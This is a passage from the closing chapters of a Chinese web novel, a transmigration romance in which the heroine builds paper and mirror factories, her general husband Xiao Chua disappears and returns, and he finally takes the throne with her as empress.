把人放在慈济院后,她一直让人刻意盯着曹铁牛,刚开始他会有一些攻击性,发现自己和妹妹处在安全的地方,以后再也不会被生父和继母摆布后,他就与其他孩童无异。
只是个头和力气都远远超于常人。
若是宓瑶问其他人,萧欻没什么印象,说到力大无比,因为赵德常夸曹铁牛是个好苗子,萧欻记得那么个孩子。
“是个学武的好苗子,不止力大无比,各种兵器上手的也快。之前赵德与我抱怨,说明明是他救了那小子,如今也是他在练那小子,问那小子若是他与你同时下命令,那小子听谁的,那小子毫不犹豫说听你的,而后还补了一句,说你要是杀赵德,他会毫不犹豫的动手。”
这把赵德气的够呛,他把曹铁牛当徒弟当儿子,曹铁牛把他当王八。
想把曹铁牛扔到一边不管,又舍不得曹铁牛的天赋,只能捏着鼻子继续教,期望日子久了曹铁牛体会到他的好,说出点像人说的话。
第100章 第一百章【VIP】
逛过了慈济院,两人去了香雪楼,年还没过完,楼里先忙碌了起来。
知晓季婉芸她们在楼上观看表演,宓瑶上去晃了一圈,聊了几句就下楼找萧欻。
“季娘子和离后日子过得比她与顾允潇在一起时舒坦多了,她容光焕发,让其他夫人看了心生羡慕,楼上正拿着你跟他们的夫君比,说做夫君不能做成你这般,那还不如和离算了。”
香雪楼不许男子进出,宓瑶怕萧欻在楼下等急了,一瞧见他就开口夸他。
虽然是为了讨萧欻高兴,但她也没编假话。
萧欻前几日到处摘人牌匾给她出气,把有意跟他联姻的世家吓得够呛,还以为送个美人,他就要把他们灭族。
后面知晓萧欻只是为宓瑶出气,没有大动干戈的意思,心安下来依然惧了夫妻俩。
从今往后,怕就是宓瑶跟萧欻和离了,他们也不敢给萧欻牵红线。
宓瑶说完,见萧欻目光还定在前方没有回眸看她,她不解的顺着他的视线往前看。
读了贴在墙上的文字,宓瑶眨了眨眼。
她听虞琇她们提及,有些酸秀才知道香雪楼只许女眷出入,而且出入的女眷多是益州城内有身份的娘子夫人,便有人把香雪楼附近的这面墙当做了展示文采的地方。
开始只有一两人张贴文章,后头就多了起来,贴的满满一墙,成了一道奇特的风景线。
宓瑶知道这事却没有仔细看过墙上的文章。
现在一看,倒是不少人夹杂私货,萧欻在看的一篇就是在赞美她美丽善良,身为女子却做了许多官员都做不到的事情。
“说不定是琇儿写的,之前我生辰,她给我写了一篇与这个类似的文章,通篇都是夸我。”
“除却这篇还有许多,每一篇笔迹都不同。”
听萧欻沉声叙述,宓瑶扯了扯他的衣摆:“你这是吃醋了,还是在与有荣焉?”
“两者皆是。”
萧欻握住了她的手,面上看得出来是想挤出来个笑,但怎么都挤不出来。
吃醋自然是吃醋,他本就小气,见自己的珍宝被人注视,还写下这些东西,哪怕这些文章写得坦荡,他依然觉得书写者欠收拾。
但同时又无法不觉得骄傲。
她耀眼如同天赐,却只回应了他的倾心。
离了香雪楼,宓瑶又带着萧欻去了她手下还在建造的几个工厂看了一圈。
意识到手里缺钱后,除却让萧欻去劫富济贫动一动世家,她自己闲下来的时间也想了要如何赚钱。
想赚钱就要独特。
就像她开的几个铺子,卖的东西特别,让人想仿制也不知道如何去仿。
这一想她就想到了几样。
她穿过来过后,一直都很想用卫生纸,以及有一面可以把自己脸照的很清楚的镜子。
大兴的造纸业很兴旺,特别是益州的麻纸,皮纸在全国皆有名气。
要不然她也不会有那么多话本可看。
而除却益州之外,大兴还以宣州的宣纸和越州的藤纸最为优质。
宣纸和藤纸她都购买看过,所谓优质只是相对而言,相比后世工艺还有很大的前进空间。
至于卫生纸,现在连前身都还没造出来。
而镜子,玻璃一类的制品就更远了,至少还要半个世纪才会从海运传入汉土。
她毕业后干的是文科的活,读的却是理科。
虽然大学期间搞工作室,没怎么好好上学,但对制造镜子材料有个大概的概念。
反正又不是让她在远古时期凭空造物,她有钱有权有概念,就能召集能工巧匠跟她把东西做出来。
“这世上既能有供人写字的硬纸,自然也造的出与布一样柔软,但比布成本更低更方便的柔软纸巾。”
宓瑶本想把东西做出来再告诉萧欻,让他惊叹她的厉害,把她当神女膜拜。
但他人不是要走了,那只能提早告诉他她的想法和安排,“我说你打仗不缺物资不是与你说大话,至多半年我会把我的想象化为实际,有了这些东西,我能赚到足够养你和你军队的银子。”
萧欻从未怀疑过宓瑶的能力,但此刻还是因为她的设想,怔了半刻。
他开始更迫切想要闯出一番名堂,他不止得要强的能为宓瑶挡风遮雨,更要追上她的能力,不若他怕往后宓瑶还愿在他身边,他只会觉得委屈了她。
逛过工厂后,宓瑶的事业心又起来了,不想把手上的事情一直往后拖,就没想着要再陪萧欻。
而萧欻适应良好,她不留在府邸,他就跟着她到处跑。
除却工厂的研究,灾民安置这
把官员汇总的公文批阅过后,她抽了个时间,一圈。
安置点不是以家庭而是按着性别建的临时宿舍,宿舍刚建好的时候出了一些麻烦,有同村的人想多占地方,欺压其他百姓把宿舍当做私人地盘,还有闲汉偷窥女舍,想占女子便宜。
直接杀了十几个,并且把尸首吊起来示警之后,无踪。
她接下赈灾任务时,赵天赫给她的硬指民能存活六分之一。
按着她能提供的吃住环境,赵天赫给她的目标她早就提前达成,所以根本不怕用严法,杀一些畜生来让大部分人老实。
因为她的杀伐果断,安置点平日里那些胡搅蛮缠的小事都少了许多。
萧欻离开那日平淡无奇,一早醒来,宓瑶送他送出了城,他提醒了她要看他写的信件,她交代了他要早点回来,不然她懒得回信。
因为提前了太多天开始不舍,所以到了真要分离时,两人的情绪起伏都不算大。
看着萧欻的背影消失,宓瑶没急着回府,而是坐在马车上看了半晌远处连绵不绝的青山。
“夫人,镇使他们走的应该是这条路?”
齐娘见宓瑶像是看痴了,觉得心疼,但还是指了指另一边方向,怕宓瑶望了半天白望。
“意思到就行。”
知道自己看错了方向,宓瑶也没有弥补的想法,而是直接让马夫打道回府,又不是往后不见了,按着萧欻出差的频繁程度,她总有望对的机会。
*
萧欻一走,宓瑶把精力更是全部投入到了造镜子和玻璃上面。
她的想法是益州到幽州的补给线太长,很容易中途被人包饺子,所以最好就是她能从商业上开辟一条路。
濮青已经被她早早放出去找各地合适的铺子。
各地开的铺子,她打算一部分仿照香雪楼,主打卖女子的东西,以卖各种祥香露,护肤用品为主。
等到卫生纸,镜子这些东西弄出来,就能打响铺子招牌,离她设想的补给线更进一步。
现在就剩下一个问题,那就是东西还没造出来。
相比于玻璃厂,造纸厂先给了宓瑶不错的成绩。
软纸跟硬纸相比只是多了一层起皱的工艺,只要拿时间和场地去实验,造出来并不难。
除却软纸,工匠还在宓瑶的设想下,做了牛皮纸,还有各类洒金花笺。
在宓瑶收到萧欻第八封信时,玻璃厂终于做出了高纯度的玻璃制品,并且做出了一块比铜镜清晰不少的镀银镜。
不是工厂的速度太慢,而是萧欻写信的频率太高。
他不爱看字多的纸张,同时也不怎么爱写太多字的信件。
送到她手上的信件拆开基本没几个字,结构基本是,问好报平安,然后短短一句话总结当前的局势让她不必操心。
她开始还回他,后面觉得说来说去都是那样,又把回信的任务交给了三个小的。
萧良对写信这事很感兴趣,把给萧欻回信当做了写日记,记录自己每天都做了什么,为此学认字的速度都快了许多,得了几次夫子的夸奖。
至于萧善,心情好就往信里面放朵花,心情不好就往里面放石头。
只有萧翼是个孝顺儿子,知道他爹想知道什么,满篇都是宓瑶的行动轨迹。
某次宓瑶看了眼他们寄过去的信,见萧翼连她去花园赏花,看到盛开芙蓉嘴角上扬也写了上去,来了兴趣提笔画了她和三个孩子的小像送了过去。
说是小像,因为原主与她的画画功力都不成,其实就是一个高的火柴人加上三个矮火柴人。
她信往外送时,萧欻正与河东的势力博弈,隔了两三个月才回了信。
他照着宓瑶的画风,重新画了一幅,两个大火柴人,还有三个小火柴人,至于宓瑶那副画被他弄了木框裱画,放在每日可以看见的地方。
知道她随意乱画的丑东西被他框了起来,宓瑶只觉得无语。
为了吓一吓他,又给他画了个怀孕的火柴人,怕他看不明白还画了箭头,写了一句“孩子跟谁姓?”
他已经外出了一年,是该紧张一下了。
这次他依然在纸上添了个大个子火柴人。
回复道他会抽空回益州,圆了她的怀孕梦,让她生个姓萧的漂亮娃娃。
见引火烧身,宓瑶紧张了几日,但等了一个多月,没见说要让她怀孕的男人回来,反倒听到了兴武帝要把公主下嫁给萧欻的消息。
她没了画画的兴致,干脆与萧善一样,在信里面包了块石头。
石头尖锐,只可惜不能亲手砸到他脑袋上。
第 101 章【VIP】
第101章 第一百零一章【VIP】
宓瑶想砸萧欻的念头来得快去得也快,因为兴武帝又被打出了长安城。
高纪攻入长安之后,老实了一阵子,但是个人都知道他想谋朝篡位,他在长安当了一阵子的孙子,见他怎么做那群文官都指着他的鼻子骂他。
他干脆杀了大兴帝,血洗长安,直接改朝换代,号大同,坐上了龙椅。
大兴帝死了,几个皇子却早早逃出了长安,兴武帝就是大兴太子,他逃到凤翔后,在凤翔称帝,次年夺回了长安。
只是这个夺回没夺三个月,又被打回了凤翔。
凤翔元气大伤,他想用嫁公主的办法笼络权臣这事自然不了了之。
不过这事刺激了宓瑶要快些打通商道的想法,免得她想揍萧欻,天高皇帝远,怎么气都拧不到他的耳朵。
时光匆匆,眨眼就是三年。
这期间,大兴帝死了,大皇子顶上,大皇子兴武帝被暗杀后,四皇子继续占据凤翔,积蓄力量打算再次攻入长安。
高纪称帝后,哪怕血洗长安,各地不服他依然不服,称帝短短一年便病逝,由大儿子高笠仲即位。
相比于高纪,高笠仲这个儿子在军事上的攻击要保守的多,想要护住幽州的地盘,但又怕离开出了长安就没有再回来的机会。
所以人就僵在了长安,看着剑南军跟契丹大打出手,不止抢回了契丹人占有的城池,连属于高家的地盘也一一插上了剑南军的旗帜。
剑南军在幽州大获胜利,不是没有引起其他势力的注意。
有人想要黄雀在后,试图对剑南军的后方下手,但不止没在剑南军身上讨到好,还被其他势力一齐围攻。
不是每个势力都以利为先,剑南军打契丹是维护汉土,这种情况下趁机打剑南,跟卖国贼有何不同。
剑南声势越来越大,接连与河东与河中几大势力联盟,大兴内里虽然越来越乱,但至少契丹人被打出了幽州。
打了胜仗的消息传播各地,比起剑南军背后的剑南节度使赵天赫,萧欻的赫赫战功更引人瞩目。
四皇子赐镇国大将军封号,意图招揽萧欻。
而十一皇子更为直接,他从北往南逃,到了蜀地后道他才是大兴正统,希望赵天赫效忠于他,助他拿回帝位。
大兴帝嫡出的孩子一共两个,一个是称帝已故的太子,另一个就是十一皇子。
论起来十一皇子的出身比四皇子更拿的出手,但太子死后,四皇子迅速控制了凤翔,十一皇子只能外逃。
东躲西藏了一年,见剑南势好,又生出了夺权力的念头。
“阿姊,那不要脸的又来了。”
虞琇鼓着包子脸,“真想拿盆水把他从头到尾狠狠泼个一遍,长得跟个肥猪似的,还自以为潇洒俊朗,看着就觉得恶心。”
虞琇说的是十一皇子唐崇博。
听到虞琇不避讳地用难听词汇形容唐崇博,宓瑶一点阻止的意思都没有。
她先前没把唐崇博来益州当一回事。
手上就四千多兵将的皇子,赵天赫这个人太讲规矩,看重名声才把唐崇博收留在剑南。
换做是她,不是第一时间杀人,就是设计圈禁,免得时不时就要看他耀武扬威的丑陋嘴脸。
不赞成赵天赫的决策,她也没傻到去赵天赫面前现眼,反正多了益州多了一个人,又不是她出钱来养。
只是没想到唐崇博会那么没脑子,无意见了她一面后,就死皮赖脸的追求起了她。
不管她是不是已经婚配,丈夫还是萧欻。
不止虞琇她们恶心,她也觉得恶心,前些日子她被死缠烂打到不耐烦,让濮青领人给唐崇博套了麻袋。
因为赵天赫要唐崇博活着,濮青他们下手只能点到为止。
而明显点到为止不能让唐崇博长记性,这会他养好伤了又出栏乱晃。
“阿姊你难得来香雪楼一趟,别被那不要脸的坏了心情,不若我找濮青,再套那肥猪一次麻袋?”
“上次套麻袋,我才被文司马提醒要老实。算了,我走后门回府,你提醒铺子里的其他人担心,别跟他起冲突,让他抓住机会生事。”
“也不知姐夫何时能回来,若是姐夫在,这肥猪哪敢这般欺辱姐姐。”
闻言,宓瑶扯了扯嘴角:“他敢做到这种地步,萧欻回来也没用,问题出在节度使身上。”
有关时局,
这半年来赵天赫的身体每况愈下。
身体状况不好,精神也跟着出问题,赵天赫变得疑神疑鬼起来,不容旁人反抗他的决策。
个官员。
在这个时候,她要是行事出挑,估计在他。
回到府邸,宓闷气,吩咐虞琇他们守好家门,就收拾了行李离了益州。
自从软纸和镜子玻璃制造出来后,她的铺子实现了遍地开花,因为东西足够独特,每间铺子开的都很顺利,甚至有些地方还会求着希望芙蓉居能到他们的州郡开分铺。
铺子出了剑南,不是没有人想把她的东西据为已有。
但每一次都是以被她又打又抢作为结局。
这些年萧欻不是一直都在幽州,三年来他们见了不少次面,有在益州见的,也有她外出,两人在外地相聚。
而每次在外地相聚,基本上都是她遇到了打不过的硬角色,给他发了求救信让他搬兵帮忙。
出了益州,宓瑶往汉中方向走,与萧欻说好在长安相汇,但谁晓得在路道中途,就传来了萧欻失踪的消息。
说是萧欻在河东被暗算,虽不见尸骨,但已经确定是已经没了性命。
听到这个消息宓瑶愣了半晌,第一想法是萧欻在玩什么战术,这是他放出来的假消息。
但两人才通过信件,若是他有什么安排怎么可能不告诉她?
“夫人。”
濮青心急如焚,同时担忧地看向宓瑶,怕她受不了刺激。
“无事,既然不见尸骨,又怎么能确定没了性命。”
宓瑶慌了一会就恢复了镇定,让濮青准备信鸽,去信询问赵德到底发生了什么事。
“不去长安了,转道去河东。”
换了目的地,但行进的方向还是同一条路。
除却等赵德的消息,宓瑶同时嘱咐各个铺子的主事搜集信息,在萧欻失踪的第五日,她总算明白了萧欻失踪是怎么一回事。
萧欻从益州到幽州,少不得要各地借道,为了不被背后捅刀,借道不是打,就是合作。
当年河东节度使被高纪坑的连命都没有了,之后河东就成了高家的势力范围。
河东节度使的侄子娄威与萧欻合作,击败了高纪留下的兵力后,娄威想继续全权占有河东,且动了把幽州也收入囊中的贪念。
萧欻失踪,明面上说是契丹人杀了回马枪,杀了萧欻为他们的可汗报仇,但实际上是娄威下的手。
现在剑南军围在河东,要让娄威拿出个说法。
听了事情的始末,宓瑶更觉得这是萧欻的安排,她不信萧欻就那么被一个名声不显的娄威给算计了。
但随着时间一天天过去,萧欻一直没有出现,她也渐渐镇定不起来。
她努力回想,从她对书中的记忆里翻出了娄威这个人。
可这人不管是在现实她的认知中还是在书里都不算有名,除却是河东节度使的侄子之外没有干成什么大事,留下什么记忆点。
一边想着萧欻身为男主不会被那么个无名小辈猪吃虎。
一边又不禁多想,在书里萧欻打退契丹用了五年,如今是花了三年,这会不会影响到萧欻的命运。
知晓萧欻失踪那么久,再去他失踪的地方,不仅找不到人还可能会落入娄威的陷阱,宓瑶还是联系了赵德,要把那地多搜寻几遍。
除此之外,她下令不必再理会娄威的托辞,直接把人抓了,说不出萧欻在哪,他的命便不用留着。
赵德几名剑南将领都是在等赵天赫的指挥。
萧欻失踪后,赵天赫的命令是找人,在没有证据的情况下,不要跟娄威硬碰硬,免得分散兵力被别人趁虚而入。
接到宓瑶跟赵天赫相反的命令,赵德不由纠结起来。
相比于赵德,在幽州战场上立了不少战功,地位已经不逊于赵德的曹铁牛知道了宓瑶的命令带兵就冲。
见徒弟都冲了,赵德只能紧跟其后。
只是娄威捉到了之后,依然不见萧欻行踪。
“虞娘子,萧将军吉人自有天相,你不必太过心急,我们现在没找到他,应是他因为什么事绊住了手脚。”
宓瑶在找萧欻的半路遇到了唐檀邑。
知晓他是晓得萧欻失踪,想要帮忙,便主动与他搭上了话。
听到他的安慰,宓瑶点头:“这些日子我食不下咽,整个人恍恍惚惚,幸好遇到郡王,还请郡王帮帮我,帮我寻到我的夫君,不然这乱世我就无人可依了。”
触到宓瑶溢满水汽脆弱的杏眸,唐檀邑心被揉成了一团,诺言许了一个又一个,承诺一定会帮她找到萧欻。
不过除却允诺寻人,他眉目深情,不忘夹带私货:“若是萧将军真出了什么事,还有我能照顾娘子你,唐某一直以来,心从未变过。”
唐檀邑生了双桃花眼,深情款款看着人的时候,能让人醉倒在他的眼里。
宓瑶信他心没变过,去年他派人想诓走与她长得相似的十七娘,对她这张脸如此情有独钟,怎么不算没变过心呢。
与唐檀邑说了半晌,宓瑶就借口太累把他打发走了。
齐娘在旁边看着,觉得宓瑶这是病急乱投医,因为寻不到萧欻,慌乱间起了依靠旁的男人心思。
她觉得这般不好,却又不知如何开口劝阻,再者男人没了总不能一直把位置空在那里,所以只能神色纠结地立在一旁。
宓瑶知道身边的人觉得她疯了,却没有解释的意思。
她的确是病急乱投医,但不是想随便捞个男人依靠,而是太清楚萧欻的秉性。
她打心里不觉得萧欻死了,跟他是书中的男主无关,就是直觉他在世上,他能听到她跟其他男人亲近的消息,并且能因此气的咬牙切齿。
唐檀邑出现的正好,若没见到他深情怜惜的眼眸,她还想不到这个馊主意。
接连几日宓瑶都是跟唐檀邑一起上路,除了濮青心中憋气差点暗杀了唐檀邑之外,其他没有什么变化。
在宓瑶从紧张已经开始思维发散,思考起萧欻是不是出事后受伤失忆,现在已经遇到了以身相许的美貌医女,过着神仙眷侣的好日子后。
萧欻终于出现了。
半梦半醒间感觉到熟悉的气味包裹周围,宓瑶睁开眼就是咬。
“嘶……”
萧欻不想打扰宓瑶休息,但实在想她,就从坐在床边凝视她,变成了脱衣上榻。
谁知道他刚躺下,宓瑶眼睛还没张开,嘴就先啃了上来。
一口接着一口,如同气急的小兽,血液的腥味散入气息之中,每一口她都没留情。
“是我错了,被娄威暗算后,我本想将计就计,但意外摔了腿,之后又遇到了契丹余孽。”
萧欻没阻止宓瑶咬他,知道她这些日子不好过,只是揉着她的发丝,解释他这几日的去向。
闻言,宓瑶也不咬了,捧着他脸左看右看,看出他的确神色憔悴,不像是遇到了美人医女过上了乐不思蜀的好日子,心中那股气才散了。
“站起来给我看看。”
“腿已经好了,不妨碍骑马,只是走路的动静要比以往沉些。”
萧欻听话站起,见宓瑶弯腰去看他的腿,想把她扯起来,“别看了,不好看。”
他越这般说,宓瑶越是要看。
目光触及他肌肤上还在发炎的狰狞伤口,她又想咬人,但又舍不得咬他。
“伤口看着吓人,实际根本不疼,我方才说走路沉重都只是吓你,想讨你怜惜我。”
在半明半昧的夜里,萧欻的视力没有受影响,所以他能清晰地看到宓瑶发红的眼眶,还有一颗颗从她眼中溢出的泪珠。
看到她哭,萧欻觉着比受伤让他难受多了。
他宁愿脚上在受一刀,也不想见那双漂亮的杏眼浮现脆弱无助的神色一直落泪。
把人抱入怀里,萧欻一边为她擦泪,一边哄道:“真的不疼,若是疼我早装出夸张是几倍的神情哄你可怜我。”
听他那么说,宓瑶忍不住瞪了他一眼:“好了,知道你不疼,是我眼里进沙子了,所以哭的停不住成不成?”
“不成,嫮嫮愿意因为心疼我而落泪,我心里高兴。”
萧欻说完,胸膛就挨了一拳。
打完,宓瑶以防万一,把他身上的衣裳扒光,拿着蜡烛把他全身都仔细看了一遍。
萧欻知道时机不对,还是被她看得起立膨胀,自然胸膛又连挨了两拳。
熄了烛火,虽然嫌萧欻兽性,宓瑶还是钻进了他的怀里。
“我与唐檀邑越走越近,身边的人都觉得我疯了,现在看来,只有我最清楚你,我还想若是你再不出现,我就弄一场改嫁,不信你不出来。”
一直没有他的消息,她虽然心慌,却一直不觉他死了。
她怎么努力都找不到他,就想逼他自已出来。
不管有没有用,她会觉得自已是在跟一个活人较劲,脑子能自动忘却他意外身亡这件事,站在他绝对好端端活着这一端。
听到宓瑶说改嫁,萧欻心头一紧。
她的确最清楚他,他知爱一个人就是愿她过得好,不是强扭她的意志,但他这人阴暗小气,根本无法那么大度。
若是她另投旁人的怀抱。
他就是死了,应当也会从地狱再爬回来,把她强占入怀。
第102章【完结】
第102章 完结【VIP】
萧欻出现,一切事物又返回了正轨。
首先是唐檀邑这个在旁寻机会当替补的,半天不到就收拾东西头也不回的走了。
唐檀邑要脸面,本不想让自己的目的性那么明显。
哪怕萧欻没死出现了,依然打算跟夫妻俩待上一阵,让他纯来帮忙的借口立的牢固一些。
可惜萧欻没给他这个机会。
萧欻白日一出现就是牵着宓瑶的手,一坐下就把宓瑶抱到了腿上。
唐檀邑压抑着情绪,绞尽脑汁地对夫妻俩说客套话,而萧欻视线落在桌上的点心上,仔细挑选后,开始亲手喂宓瑶点心,宓瑶则是咬了一口后嫌不好吃,抬手把剩下的点心塞进萧欻嘴里。
“我们这般是不是太过恶心了些?你瞧,都把人恶心走了。”
听到濮青说唐檀邑收拾东西走了,*宓瑶觉着萧欻闹够了,想从他身上起来,但刚站起就被他又按回了怀里。
“你还没完了。”
猛地摔进了萧欻的怀里,宓瑶眨了眨眼,“大白天的,没人看戏你还抱那么紧。”
萧欻抱着宓瑶不放:“我不是做戏给旁人看,我是真害怕。”
被娄威联合身边的武将暗算,他没当回事,当腿受了伤还遇到了契丹杀手后,他是真有了几分恐惧。
他怕死。
怕自己给宓瑶留下一堆烂摊子,怕她狠不下心扔下三个孩子,怕她没了他之后过得艰难。
更怕她会很快忘记他,理智的选择新的男人。
这几日是他有史以来最惜命的几天,连喝口水都要想法子烧开,就怕自己保不住这条命。
“你真觉得我会在你消失几天后,就迫不及待的找别的男人寻求温暖?”
听到萧欻说害怕,宓瑶危险地眯起了眼眸,仿佛他下句话不对,耳朵就会被她拧成麻花。
“我知道你不会,听到唐檀邑在你身边,我想过你是故意气我,但我依然惧怕。”
神态可以克制隐藏,眼中的情绪却是藏不住的。
萧欻对上了宓瑶的眼眸,不介意让她看到他眼中的紧绷。
从昨晚到现在,那根紧绷到即将断裂的弦依然没有松下。
来找她的这两天,他四处躲藏前行,身上的盔甲牢固坚韧,但他时时刻刻都能感知到盔甲下他的弱小。
“从怕死的那一刻始,我便知晓我以后都做不了一把锋利的刀,生死对我来说有了明确的重量。”
萧欻声音低哑,如同深潭上的薄冰,表面的冷意是为了掩盖易碎的本质。
宓瑶怔了怔,被萧欻抱着的身体放松了下来,软软地趴在了他的怀里。
“生死本就有明确的重量,我以为我早就变成你的软肋了。”
“你是,我只是发现,我比我想的懦弱。”
宓瑶懂他的意思,但不想听一个才击溃外敌,夺回广袤疆土的英雄自卑的说自己懦弱。
“怕死算什么懦弱,人只有一条命,只在世间活一遭,生出来没有缺胳膊少腿,就已经是格外好命,你还有几年就到了而立之年,是该多些不舍的东西了。”
书里面的萧欻到了四十多才统一了疆土,而故事也停在了这里,并未描述他是如何治国。
这一世她不知道萧欻会在哪个岁数成就霸业,但她晓得他现在的状态一定是比以前好,一个没有亲人,不相信感情,憎恶女人的帝王,和一个把生命当一回事,想好好活着守护爱人、亲人的帝王。
怎么看也是后面的统治者能给百姓带来更多的善意。
“萧欻,在我眼中,你一点都不懦弱,你比太多人都要强大,你就是世上最好的男子。当然这是我一家之言,毕竟你是我的爱人,我看你自然是哪哪都好。”
怕自己说的太好听,萧欻太兴奋,宓瑶特意说了最后一句想压一压他的情绪。
但明显萧欻的注意力都放在第一句的夸奖上。
布满碎冰的眸子绽放光华,萧欻的吻在宓瑶脸上滚了一圈:“嫮嫮你在我眼中,亦是独一无二。”
“这我还能不晓得。”宓瑶挑起眉梢,骄傲地道。
萧欻抱她的手劲极重,就像是要把她揉进他的身体,彼此身上的气息交汇融合。
感觉到身体上的痛感,宓瑶到此刻也后知后觉的有了失而复得的庆幸。
这段日子她心里光想着萧欻不可能死,她自觉他没有死,但怎么可能不怕。
若是他死了她投入的感情就会血本无归,并且往后的岁月还会抽出许多时间来怀念他。
想着,宓瑶不管萧欻是不是浑身是伤,埋头一口。
,你是我的,只要我需要你,你就不能消失。”
“好。”
萧欻闷声允诺。
*
夫妻俩你侬我侬了一天,就被赵德催促动身。
娄威被他们抓了,杀是不可能直接杀了,但放走又觉得太亏,所
这个大局不难主持,之前萧欻和娄威是合作关系,萧欻有意夺取河东,也不好意思单方面撕毁盟约,如今娄威先行翻脸,萧欻自然有了打河东的理由。
萧欻调兵遣将,指挥战局,宓瑶则是留在他身边哪都没去,见赵天赫送来的信件没有阻止萧欻动手,宓瑶抚着胸口松了口气。
“父君的身体越来越差,性子跟着变了许多,我还怕他会阻止你打娄威。”
“不管性子怎么变化,父君希望海晏河清的宏愿不会改变。”
赵天赫对萧欻有知遇之恩,以前他把赵天赫当要效力一生的主公,如今也不会因为赵天赫一两件事上的糊涂就对他完全失望。
“唐崇博让你受的委屈,我会为你一一讨回来。”
说完了赵天赫,萧欻没忘记宓瑶在益州受的委屈。
依然把赵天赫当做亲人是一回事,给自己媳妇找回场子是另一回事。
唐崇博意图染指他的珍宝,不管唐崇博如今对剑南有什么用处,都该去死。
“我自然信我家萧郎气量狭小,爱吃酸醋,见不得旁的男人多看我几眼。”
宓瑶嘴角扬起,点了点萧欻的鼻梁,她想要哄人高兴,不管什么样的贬义词,她说出口都是金玉良言。
“嫮嫮。”
萧欻贴着宓瑶嘴亲了亲,目光幽深,“你是我的,不止你我知晓,世上的所有人也都该知晓。”
“还能有谁不知晓,唐檀邑跑得那么快肯定是知晓的,我看这世上应该就唐崇博不知道,但他应该也很快能铭记在心。”
之前淮南王想在长安分一杯羹,被高纪打得接连败退,后头想返回根据地又跟武昌节度使杜宏干了起来。
而这期间萧欻远在幽州跟契丹人打得你死我活,却抽空出了趟远门,把淮南王捅了个对穿,高高悬挂在城池楼上。
这种情况下,世上哪还有人不晓得萧欻爱重妻子,不满其他男人觊觎其妻。
也就唐崇博觉得他的血脉顶得住一切,在益州敢那么的厚颜无耻。
宓瑶跟萧欻在河东耗费了三个月,打下河东后,宓瑶不打算返回益州,而是派濮青给虞琇带信,让她带着三个小的过来找她和萧欻。
拿下幽州与河东,萧欻不可能现在离开返回益州常住。
稳定两地需要大量的时间,再者既然这两处都拿下了,潼关与长安也是迟早的事,相比于再分开几年,宓瑶更愿意留在萧欻身边陪他。
对于宓瑶的选择,萧欻满心欢喜,而对于三个孩子过来这事,他并不欢迎。
“他们来作甚?不如留在益州,若是想念我们,我们可以给他们去信。”
最小的萧善如今都七八岁了,萧欻不觉得这个年纪的孩子,还需要爹娘在身边无微不至的陪伴,“他们现在的性子,谁能在他们手上讨的了好。”
听到萧欻不当人的话,宓瑶翻了个白眼:“若是幽州不安全,不让他们来就算了,如今我能在这里留着,他们怎么就不能过来,除却陪伴,他们多晓得一些疾苦也是好的。”
萧欻要坐上高位,他的孩子就不可能一辈子只会吃喝玩乐,看不见民间疾苦。
外敌侵占掠夺过的疆土千疮百孔,百废待兴,她留下除了因为萧欻,还因为想为这片土地做些什么。
不止她和萧欻要成长,孩子们也要成长。
一家人整整齐齐,一起进步。
萧欻明白了宓瑶的意思,颔首后道:“那等到把人接来,我让赵德带他们去旁出历练,孩子离了父母才能真正成长……”
他话音未落就被宓瑶捏住了嘴皮子,宓瑶盯着他狠狠道:“少说废话,我和你,和萧善萧良萧翼,还有虞琇,两个大人四个崽子要生活在一起,你想摆脱他们等到他们长大再说,到时他们展翅高飞,你想见他们也见不到,每日只能跟我面面相觑。”
萧欻看着宓瑶,比起接下来要多四个崽子的生活,他脑海里全都是只剩两人的后半生,片刻,被压制的嘴巴嘴角上翘,“嗯”了声:“好,以后只有我们,我和你,你和我。”
萧欻轻柔地啄吻宓瑶的指腹,眼中深潭化冰,柔情似水。
瞧着他的样子,宓瑶也扬起了唇,跟着笑了起来。
“对,我和你,你和我。”
*
三年后,剑南节度使赵天赫于益州病逝,萧欻接任其位。
同年,身处凤翔的四皇子被暗杀身故,十一皇子唐崇博借兵杀回凤翔,却在中途被高笠仲截杀。
次年萧欻带兵杀入长安,斩杀高笠仲,耗费月余肃清余孽。
与此同时,各地祥瑞频显,宣武节度使率先归顺萧欻,上书恳请萧欻统领百官,为黎民苍生,早登大位,以安天下。
萧欻如今手上不止有剑南,幽州,河东,潼关,长安也紧握在手。
世人已知这天下是萧欻的天下,宣武节度使归顺后,各地纷纷上书,劝求萧欻即位,以示忠心。
同年十一月,萧欻即位,国号齐,年号建和,立发妻虞宓瑶为后。